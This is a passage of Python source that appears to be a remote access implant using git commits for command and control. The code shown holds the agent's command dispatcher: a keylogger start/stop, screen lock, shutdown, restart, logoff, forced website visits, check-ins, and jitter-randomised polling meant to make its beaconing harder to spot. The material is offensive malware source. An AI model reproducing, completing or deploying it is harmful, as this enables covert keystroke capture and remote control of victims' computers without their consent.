                                elif cmd == 'visitwebsite':
                                    visitwebsite(arg, jobid)
                                    
                                elif cmd == 'message':
                                    message(arg, jobid)
                                    
                                elif cmd == 'lockscreen':
                                    lockScreen(jobid)
                                    
                                elif cmd == 'shutdown':
                                    shutdown(jobid)
                                    
                                elif cmd == 'restart':
                                    restart(jobid)
                                    
                                elif cmd == 'logoff':
                                    logoff(jobid)
                                    
                                elif cmd == 'startkeylogger':
                                    keylogger.exit = False
                                    keylogger(jobid)
                                    
                                elif cmd == 'stopkeylogger':
                                    keylogger.exit = True
                                    
                                elif cmd == 'forcecheckin':
                                    commit("Host checking in as requested", checkin=True, jobid=jobid)

                                elif cmd == 'git_check':
                                    git_check(arg, jobid)
                                    #GIT_KNOCK_TIMEOUT = int(arg)
                                    #commit("Git Checking changed too: %s seconds" % str(arg), checkin=True)
                                    
                                elif cmd == 'jitter':            
                                    jitter(arg, jobid)
                                    #JITTER = int(arg)
                                    #commit("JITTER UPDATED too: %s seconds" % str(arg), checkin=True)
                                    
                                else:
                                    raise NotImplementedError

            if JITTER != 100:
                JITTER_HIGH =((GIT_KNOCK_TIMEOUT * JITTER) /100.0) * 3
                JITTER_LOW = (GIT_KNOCK_TIMEOUT * JITTER) /100.0

                time.sleep(random.randrange(JITTER_LOW, JITTER_HIGH))
            else:
                time.sleep(GIT_KNOCK_TIMEOUT)

        except Exception as e:
            time.sleep(GIT_KNOCK_TIMEOUT)


if __name__ == '__main__':
    
    commit("Hi!! :P", checkin=True)
    
    try:
        checkJobs()
    except KeyboardInterrupt:
        pass